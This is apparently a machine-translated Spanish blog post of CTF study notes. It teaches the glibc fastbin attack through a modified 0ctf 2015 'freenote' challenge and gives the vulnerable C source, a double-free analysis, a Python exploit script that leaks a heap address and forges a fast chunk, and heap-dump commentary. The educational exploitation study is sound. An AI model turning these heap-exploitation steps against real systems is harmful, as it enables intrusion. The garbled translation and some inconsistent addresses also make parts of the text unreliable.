Cambio de notas PWN 04

Ataque Fastbin

  • Tecnología de utilización rápida de contenedores
    • El contenedor rápido es una lista enlazada individualmente con una estructura simple y fácil de falsificar.
    • Para mejorar la eficiencia, hay menos controles de seguridad.
    • Solo para trozos de tamaño de contenedor rápido, los trozos pequeños / grandes no son aplicables
  • Usa ideas
    • Si el fragmento rápido libre se desborda y se sobrescribe, el puntero de la lista vinculada fd se puede modificar
    • Puede introducir fragmentos rápidos gratuitos falsos en la lista de contenedores rápidos modificando el puntero de la lista vinculada fd
    • El fragmento rápido falso se asigna la próxima vez que se asigna
    • El Fast Chunk falso puede estar en la variable global .bss o en la pila

Fragmento rápido falso

  • Forja Fast Chunk en la pila
    • Sobrescribir la dirección de devolución
  • Forjar Fast Chunk en bss
    • Modificar variables globales
  • Forjar Fast Chunk en la pila
    • Modificar los datos en el montón

Estudio de caso: versión modificada de freenote (0ctf 2015)

Dirección del almacén: https://github.com/f1yyy/example_for_class

int menu()
{
    
    
    puts("== Chaitin Free Note ==");
    puts("1. List Note");
    puts("2. New Note");
    puts("3. Edit Note");
    puts("4. Delete Note");
    puts("5. Exit");
    puts("====================");
    printf("Your choice: ");
    return read_number();
}

Hay cuatro operaciones:

  • nueva nota
    • malloc
  • Editar nota
    • reasignar
  • borrar nota
    • Si la nota no se comprueba si se puede liberar, se puede activar doble libre
  • nota de lista
    • imprimir

estructura de la nota

#define NOTENUM 256
struct note
{
    
    
    long inuse;
    long size;
    char *content;
};

struct note_list
{
    
    
    long total;
    long inuse;
    struct note notes[0];
};

struct note_list *list;
void init_env(){
    
    
	setvbuf(stdin, 0, 2, 0);
	setvbuf(stdout, 0, 2, 0);
	alarm(0x3C);
}
void init_notes()
{
    
    
    list = (struct note_list*)malloc(16 + NOTENUM * sizeof(struct note));
    list->total = NOTENUM;
    list->inuse = 0;
    for (int i = 0; i < NOTENUM; ++i)
    {
    
    
        list->notes[i].inuse = 0;
        list->notes[i].size = 0;
        list->notes[i].content = NULL;
    }
}
  • La estructura note_list almacena el número máximo de notas, el número de notas en uso y una matriz de notas con una longitud de 256
  • La estructura de la nota almacena el indicador de uso, el tamaño de la memoria de la nota y el puntero.
  • Durante la inicialización, se asignan NOTENUM (256) notas

Crear note-new_note ()

void new_note()
{
    
    
    if (list->inuse >= list->total)
    {
    
    
        puts("Unable to create new note.");
        return;
    }
    for (int i = 0; i < list->total; ++i)
        if (list->notes[i].inuse == 0)
        {
    
    
            printf("Length of new note: ");
            int len = read_number();
            if (len <= 0)
            {
    
    
                puts("Invalid length!");
                return;
            }
            if (len > 4096) len = 4096;
            char *content = (char*)malloc(len);
            printf("Enter your note: ");
            read_len(content, len);
            list->notes[i].inuse = 1;
            list->notes[i].size = len;
            list->notes[i].content = content;
            list->inuse++;
            puts("Done.");
            return;
        }
}

Al crear una nota, primero lea la longitud del contenido de la nota (no puede exceder 4096) y luego asigne el mismo tamaño de memoria en el montón a través de malloc. Después de leer en la memoria, guarde el puntero y el tamaño en la estructura de notas libre (en uso es 0) en la matriz de notas (busque de 0 a 255)

Con esta función, se pueden crear fragmentos rápidos / pequeños / grandes de forma arbitraria

Modificar note-edit_note ()

void edit_note()
{
    
    
    printf("Note number: ");
    int n = read_number();
    if (n < 0 || n >= list->total || list->notes[n].inuse != 1)
    {
    
    
        puts("Invalid number!");
        return;
    }
    printf("Length of note: ");
    int len = read_number();
    if (len <= 0)
    {
    
    
        puts("Invalid length!");
        return;
    }
    if (len > 4096) len = 4096;
    if (len != list->notes[n].size)
    {
    
    
        //int bsize = len + (128 - (len % 128)) % 128;
        list->notes[n].content = (char*)realloc(list->notes[n].content, len);
        list->notes[n].size = len;
    }
    printf("Enter your note: ");
    read_len(list->notes[n].content, len);
    puts("Done.");
}

Al modificar una nota, debe especificar el número de nota y el tamaño de la nueva nota. Si el tamaño cambia, llame a realloc para reasignar la memoria

Eliminar note-delete_note ()

void delete_note()
{
    
    
    if (list->inuse > 0)
    {
    
    
        printf("Note number: ");
        int n = read_number();
        if (n < 0 || n >= list->total)
        {
    
    
            puts("Invalid number!");
            return;
        }
        list->inuse--;
        list->notes[n].inuse = 0;
        list->notes[n].size = 0;
        free(list->notes[n].content);
        puts("Done.");
    }
    else
    {
    
    
        puts("No notes yet.");
    }
}

Al eliminar una nota, solo necesita especificar el número de serie de la nota. Sin embargo, al eliminar la nota, no se verifica si el indicador inuse de la nota correspondiente [n] es 1 y el puntero de contenido en la estructura de la nota no es se borra después de eliminar la nota, por lo que se puede utilizar para cualquier nota gratuita. Las notas son gratuitas muchas veces.

Hay una doble vulnerabilidad libre

Imprima una lista de notes-list_note ()

void list_note()
{
    
    
    if (list->inuse > 0)
    {
    
    
        for (int i = 0; i < list->total; ++i)
            if (list->notes[i].inuse == 1)
            {
    
    
                printf("%d. %s\n", i, list->notes[i].content);
            }
    }
    else
    {
    
    
        puts("You need to create some new notes first.");
    }
}

La función de impresión de notas puede enumerar el contenido de todas las notas

Método 1: forjar fastchunk en el montón

add_note('A'*0x30)#0
add_note('B'*0x30)#1
add_note('C'*0x30)#2
add_note('D'*0x30)#3
add_note('E'*0x41)#3
raw_input("step1 success")
delete_note(0)
delete_note(1)
add_note('E'*0x30)#0
raw_input("step2 success")
delete_note(2)
delete_note(1)
list_note()
raw_input("step3 success")
s.recvuntil('0. ')
heap = u64(s.recv(4)+'\x00'*4) - 0x18a0
print 'heap:',hex(heap)

edit_note(0,p64(heap+0x80)+'F'*0x28)
add_note('G'*0x30)
add_note('H'*0x30)
raw_input("step4 success")
#add_note('E'*0x10)
s.interactive()

Después de asignar memoria:

  • 0x1812010 es la estructura note_list
    • total largo = 0x100
    • inuse largo = 5
      • Porque solicité 5 notas
  • 0x1812020 es la primera estructura de nota
    • uso largo = 1
      • esta usando
    • tamaño largo = 0x30
    • char * contenido = 0x1813830
  • 0x183820 es la dirección de inicio del fragmento real, porque 0x183830 apunta a la parte de los hombres, menos el desplazamiento de 0x10

Cuando se ejecuta para raw_input("step3 success"):

  • Se puede encontrar que debido a que se eliminaron dos notas y se solicitó una nueva nota, el número total se convirtió en 0
  • Se puede encontrar que la nota E reaplicada se asigna al fragmento de la primera nota original.

Supongo que te gusta

Origin blog.csdn.net/kelxLZ/article/details/111830702
Recomendado
Clasificación